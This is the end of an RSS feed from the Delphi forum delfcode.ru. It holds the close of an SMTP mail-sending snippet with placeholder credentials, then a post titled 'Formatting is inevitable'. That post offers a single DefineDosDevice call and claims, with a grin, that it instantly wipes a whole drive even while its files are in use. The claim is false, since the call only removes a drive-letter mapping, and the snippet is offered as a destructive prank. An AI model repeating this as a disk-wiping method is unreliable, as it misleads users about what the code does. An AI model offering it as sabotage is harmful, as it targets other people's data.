IdSMTP1.Host := &apos;uacity.com&apos;; &lt;br /&gt; IdSMTP1.Username := &apos;boris&apos;; &lt;br /&gt; IdSMTP1.Password := &apos;1234&apos;; // - ну свой пароль я те не выдам :-Р &lt;br /&gt; IdSMTP1.Connect(); &lt;br /&gt; if IdSMTP1.Connected then &lt;br /&gt; begin &lt;br /&gt; IdSMTP1.Send(M); &lt;br /&gt; end; &lt;br /&gt; IdSMTP1.Disconnect;&lt;/span&gt;&lt;!--/BBhide--&gt; &lt;br /&gt; end;</content:encoded>
<category>Процедуры и функции Delphi</category>
<dc:creator>dolphin</dc:creator>
<guid>https://delfcode.ru/forum/22-142-1</guid>
</item>
<item>
<title>Форматирование неизбежно</title>
<link>https://delfcode.ru/forum/22-121-1</link>
<pubDate>Fri, 20 Nov 2009 06:15:32 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/22&quot;&gt;Процедуры и функции Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Принудительное форматированеи&lt;br /&gt;Автор темы: dolphin&lt;br /&gt;Автор последнего сообщения: fanlis&lt;br /&gt;Количество ответов: 6</description>
<content:encoded>DefineDosDevice(DDD_REMOVE_DEFINITION,&apos;D:&apos;,nil); &lt;br /&gt; Затирает сразу весь диск и даже если файлы на нём активны &lt;img src=&quot;http://s5.ucoz.net/sm/2/biggrin.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;biggrin&quot;&gt;</content:encoded>
<category>Процедуры и функции Delphi</category>
<dc:creator>dolphin</dc:creator>
<guid>https://delfcode.ru/forum/22-121-1</guid>
</item>

</channel>
</rss>